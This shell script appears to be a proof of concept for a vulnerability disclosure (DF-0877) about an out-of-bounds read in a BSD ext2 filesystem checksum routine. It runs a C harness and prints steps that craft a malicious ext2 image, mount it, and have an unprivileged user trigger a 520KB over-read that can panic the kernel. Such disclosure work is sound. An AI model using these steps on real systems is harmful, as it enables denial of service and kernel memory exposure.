#!/bin/sh
# DF-0877 — run the deterministic C harness + in-kernel trigger.
#
# Demonstrates ext2_csum.c:253,261 reads 524312 bytes (523288 past the
# 1024-byte buffer) when h_entries_num=65535, faulting at the predicted
# page boundary (mirroring the kernel page-fault on heap-layout-dependent
# unmapped memory).
#
# Usage: ./run.sh
set -e
cd "$(dirname "$0")"
echo "=== Deterministic harness (no kernel required) ==="
./harness
echo "HARNESS_RC=$?"
echo ""
echo "=== To reproduce the in-kernel manifestation: ==="
echo "  Host:  python3 craft_img.py df0877.ext2 4"
echo "         scp df0877.ext2 dfbsd:/root/"
echo "  Guest (root setup):"
echo "    kldload ext2fs"
echo "    vnconfig -c vn0 /root/df0877.ext2"
echo "    mkdir -p /mnt/t1"
echo "    mount_ext2fs -o ro /dev/vn0c /mnt/t1"
echo "    chmod 755 /mnt/t1        # so unprivileged maxx can read"
echo "  Guest (unprivileged maxx):"
echo "    ls /mnt/t1/testdir       # triggers OOB read via ext2_dx_csum_verify"
echo "  Expected: panic (page fault from 520KB OOB read) OR"
echo "            'ls: Input/output error' (EIO from csum mismatch, OOB read happened)"
